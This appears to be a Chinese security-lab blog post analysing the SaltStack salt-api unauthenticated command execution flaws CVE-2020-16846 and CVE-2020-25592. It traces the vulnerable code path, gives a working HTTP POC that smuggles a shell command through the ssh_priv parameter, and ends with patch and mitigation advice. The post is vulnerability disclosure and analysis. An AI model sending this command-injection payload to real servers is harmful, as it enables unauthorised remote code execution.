Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >漏洞分析|SaltStack未授权访问及命令执行漏洞分析(CVE-2020-16846/25592)

漏洞分析|SaltStack未授权访问及命令执行漏洞分析(CVE-2020-16846/25592)

作者头像
云鼎实验室
发布于 2020-11-13 02:10:12
发布于 2020-11-13 02:10:12
1.1K00
代码可运行
举报
运行总次数:0
代码可运行

一、背景

漏洞概述:

SaltStack是一个分布式运维系统,在互联网场景中被广泛应用,有以下两个主要功能:

  •     配置管理系统,能够将远程节点维护在一个预定义的状态(例如,确保安装特定的软件包并运行特定的服务)

  •     分布式远程执行系统,用于在远程节点上单独或通过任意选择标准来执行命令和查询数据

2020年11月4日,SaltStack 官方发布了一则安全更新公告,其中CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。

漏洞编号:

CVE-2020-16846、CVE-2020-25592

受影响版本:

  •     3002

  •     3001.1, 3001.2

  •     3000.3, 3000.4

  •     2019.2.5, 2019.2.6

  •     2018.3.5

  •     2017.7.4, 2017.7.8

  •     2016.11.3, 2016.11.6,2016.11.10

  •     2016.3.4, 2016.3.6,2016.3.8

  •     2015.8.10, 2015.8.13

二、漏洞分析及POC

漏洞分析

截至2020年11月11日,补丁代码尚未与Github中master分支代码合并,故可直接从SaltStack官方Github仓库获取,目前master的代码版本为3002,系统为Mac,版本号相差较大时代码变动较大,需另作分析。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Salt Version:          Salt: 3002-56-g3e269eda82 Dependency Versions:          cffi: 1.14.3      cherrypy: unknown      dateutil: Not Installed     docker-py: Not Installed         gitdb: 4.0.5     gitpython: 3.1.11        Jinja2: 2.11.2       libgit2: Not Installed      M2Crypto: Not Installed          Mako: 1.0.7       msgpack: 1.0.0  msgpack-pure: Not Installed  mysql-python: Not Installed     pycparser: 2.19      pycrypto: Not Installed  pycryptodome: 3.9.9        pygit2: Not Installed        Python: 3.8.2 (default, Sep 24 2020, 19:37:08)  python-gnupg: Not Installed        PyYAML: 5.3.1         PyZMQ: 19.0.2         smmap: 3.0.4       timelib: Not Installed       Tornado: 4.5.3           ZMQ: 4.3.2 System Versions:          dist: darwin 19.6.0         locale: utf-8       machine: x86_64       release: 19.6.0        system: Darwin       version: 10.15.6 x86_64

salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。

文中指定代码位置采用以下约定:FileLocation:Classname.method()

salt/netapi/init.py:NetapiClient.run()

low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给**kwargs。

当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh(),该方法未采用任何鉴权

salt/netapi/init.py:NetapiClient.ssh()

跟进,路径如下:

salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()

salt/client/ssh/client.py:SSHClient._prep_ssh()

该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。

salt/client/ssh/init.py:SSH.__init__()

priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法。

salt/client/ssh/shell.py:gen_key()

该方法中对命令进行拼接,并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。

POC

由上分析可知,POC如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /run HTTP/1.1Host: 127.0.0.1:8000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0Accept: application/x-yamlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 109
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b

关于复现环境

1. Mac上复现需要手动创建日志文件夹、配置文件夹等,并需要手动写入相关配置。

2. Docker从官方环境拉取的镜像中默认没有SSH,故执行该poc时salt-api会挂掉,经测试3002版本自动重启,3000.4版本、2019.2.5版本则不会。故当salt-api挂掉时,优先考虑当前机器上是否有SSH软件。

三、安全建议

1. 尽快修复。由于官方并未放出升级包,故目前仍需要手动进行修复,这里是官方安全通告和修复补丁。

2. 如非必须使用salt-api,请关闭该功能。

更多精彩内容点击下方扫码关注哦~

   云鼎实验室视频号

  一分钟走进趣味科技

     -扫码关注我们-

 云鼎实验室互动星球

 一个多元的科技社交圈

  -扫码关注我们-

关注云鼎实验室,获取更多安全情报

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-11-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 云鼎实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
SaltStack 远程命令执行漏洞(CVE-2020-16846)
SaltStack是一个分布式的运维系统,在互联网场景中被广泛应用,有以下两个主要功能: 1.配置管理系统,能够将远程节点维护在一个预定义的状态(例如:确保安装特定的软件包并运行特定的服务) 2.分布式远程执行系统,用于在远程节点上单独或者通过任意选择标准来执行命令和查询数据。
Baige
2022/03/31
1.7K0
SaltStack 远程命令执行漏洞(CVE-2020-16846)
首发分析 | SaltStack远程执行代码多个高危漏洞透析(CVE-2021-25281/25282/25283)
北京时间2月26日凌晨3点,SaltStack官方发布高危漏洞风险通告,包含CVE-2021-25281、25282、25283。此前,云鼎实验室安全研究员1mperio就曾发现该漏洞,并于2020年11月16日报送给SaltStack官方。 在对CVE-2020-17490和CVE-2020-16846进行分析后,发现CVE-2020-17490的补丁存在未修补完全的情况,导致wheel_async仍然存在未授权访问,可以调用wheel模块中的方法,基于此对SaltStack的wheel模块中的方法进行
云鼎实验室
2021/02/26
1.3K0
安全通告|SaltStack多个高危漏洞风险通告(CVE-2020-16846/CVE-2020-25592)
近日,腾讯云安全运营中心监测到,SaltStack被曝存在两个高危漏洞(漏洞编号:CVE-2020-16846/CVE-2020-25592),未经身份验证的攻击者可能利用以上漏洞,进行权限绕过,执行恶意代码。 为避免您的业务受影响,腾讯云安全建议您及时开展安全自查,如在受影响范围,请您及时进行更新修复,避免被外部攻击者入侵。 漏洞详情 CVE-2020-16846:可通过网络访问Salt API的未经身份验证的用户,可使用Shell注入,通过SSH客户端在Salt-API上运行代码。 CVE-2020
云鼎实验室
2020/11/05
7160
CVE-2020-11651 SaltStack认证绕过原理
漏洞原理也很简单,__init__.py里可以找到检验认证的函数check_authentication
字节脉搏实验室
2020/08/09
6500
漏洞情报 | SaltStack多个高危漏洞风险通告
2021年2月26日,SaltStack发布安全更新,修复了由腾讯安全云鼎实验室安全攻防团队发现的多个安全漏洞。通过利用这些漏洞,最严重可导致未授权远程代码执行。 漏洞详情 SaltStack是基于Python开发的一套C/S自动化运维工具,支持运维管理数万台服务器,主要功能是管理配置文件和远程执行命令,十分强大且易用。 本次披露的漏洞主要为以下几个: CVE-2021-25281(高危): salt-api未校验wheel_async客户端的eauth凭据,受此漏洞影响攻击者可远程调用master上任
云鼎实验室
2021/02/26
1.1K0
【漏洞通告】SaltStack RCE等高危漏洞通告
CVE-2020-16846:未经身份验证的攻击者通过构造恶意请求,利用Shell注入(shell injection)获取SSH连接,从而在Salt-API上执行任意命令。
绿盟科技安全情报
2020/11/10
7600
【漏洞通告】SaltStack RCE等高危漏洞通告
漏洞分析|Weblogic未授权访问及命令执行分析复现(CVE-2020-14882/14883)
一、背景 漏洞概述: WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。 10月21日,Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。 此处漏洞均存在于WebLogi
云鼎实验室
2020/11/10
3.6K0
安全通告丨SaltStack 远程命令执行漏洞风险通告(CVE-2020-11651/CVE-2020-11652)
近日,腾讯安全云鼎实验室监测到国外安全团队披露了SaltStack管理框架的多个安全漏洞(CVE-2020-11651/CVE-2020-11652),攻击者可利用该漏洞实现远程代码执行。 为避免您的业务受影响,腾讯安全云鼎实验室建议您及时开展安全自查,如在受影响范围,请您及时进行更新修复,避免被外部攻击者入侵。 【风险等级】 严重 云鼎实验室监测到互联网上已出现漏洞攻击利用行为,建议用户尽快修复 【漏洞风险】 漏洞被利用可能导致机器被远程控制,感染挖矿病毒或业务不可用 【漏洞详情】 Saltstack
云鼎实验室
2020/05/06
1K0
CVE-2020-11651:SaltStack认证绕过复现
在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞:
Timeline Sec
2020/05/26
1.4K0
【漏洞复现】Weblogic漏洞复现:CVE-2020-14882未授权代码执行
近日,Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。
一名白帽的成长史
2020/11/09
8K0
【漏洞复现】Weblogic漏洞复现:CVE-2020-14882未授权代码执行
SaltStack 远程命令执行漏洞(CVE-2020-11651、CVE-2020)
所以我们部署系统默认生成的防火墙,总控机器[4505,4506]端口只允许来自各个 Master 机器源 IP,各个 Master 机器[4505,4506]端口只对私有网络开放
糖果
2020/05/15
5390
SaltStack 远程命令执行漏洞(CVE-2020-11651、CVE-2020)
漏洞复现|CVE-2020-0796(SMBv3远程代码执行)漏洞复现
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
谢公子
2022/01/19
1K0
漏洞复现|CVE-2020-0796(SMBv3远程代码执行)漏洞复现
Exim CVE-2020-28018 漏洞分析
前段时间Exim突然出现了好多CVE[1],随后没多久Github上也出现了对CVE-2020-28018进行利用最后达到RCE的EXP和利用思路[2]。随后我也对该漏洞进行复现分析。
Seebug漏洞平台
2021/06/17
9800
【安全通告】APISIX Dashboard 未授权访问漏洞风险通告(CVE-2021-45232)
腾讯云安全运营中心监测到, Apache APISIX官方发布安全通告,披露了Apache APISIX Dashboard存在未授权漏洞,漏洞编号CVE-2021-45232。可导致未授权访问等危害。 为避免您的业务受影响,腾讯云安全建议您及时开展安全自查,如在受影响范围,请您及时进行更新修复,避免被外部攻击者入侵。 漏洞详情 据官方描述,在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架gin和droplet,并在gin框架的基础上引入了drop
云鼎实验室
2021/12/29
1.1K0
CVE-2020-1472 ZeroLogon漏洞分析利用
CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,此漏洞是微软8月份发布安全公告披露的紧急漏洞,CVSS评分为10分。未经身份认证的攻击者可通过使用 Netlogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞,成功利用此漏洞的攻击者可获得域管理员权限。该漏洞由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。
谢公子
2022/01/20
9460
CVE-2020-1472 ZeroLogon漏洞分析利用
Xcheck之Python安全检查引擎
Xcheck的Python分析引擎,能够自动分析Python写的Web应用,检测诸如命令注入、SQL注入、URL跳转、SSRF、XXE等常见的Web安全漏洞。
腾讯代码安全检查Xcheck
2020/12/21
1.3K0
Xcheck之Python安全检查引擎
WebLogic coherence UniversalExtractor 反序列化 (CVE-2020-14645) 漏洞分析
Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。
Seebug漏洞平台
2020/08/07
6480
Rocket.Chat 远程命令执行漏洞分析
Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织。
Seebug漏洞平台
2021/08/10
1.9K0
WebSphere XXE 漏洞分析(CVE-2020-4643)
作者:Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM 时间:2020年9月22日
Seebug漏洞平台
2020/09/28
1.3K0
WebSphere XXE 漏洞分析(CVE-2020-4643)
CVE-2020-1313漏洞分析与利用PoC
Windows Update Orchestrator Service是一个DCOM服务,Windows系统内的其他组件需要使用该服务来安装已下载好的Windows更新。但是,由于该服务中的代码在认证调用函数时存在问题,导致其易受权限提升攻击的影响,即任意用户提升至本地系统权限。该漏洞将影响Windows 10和Windows Server Core产品。
FB客服
2020/08/20
1.1K0
CVE-2020-1313漏洞分析与利用PoC
推荐阅读
相关推荐
SaltStack 远程命令执行漏洞(CVE-2020-16846)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验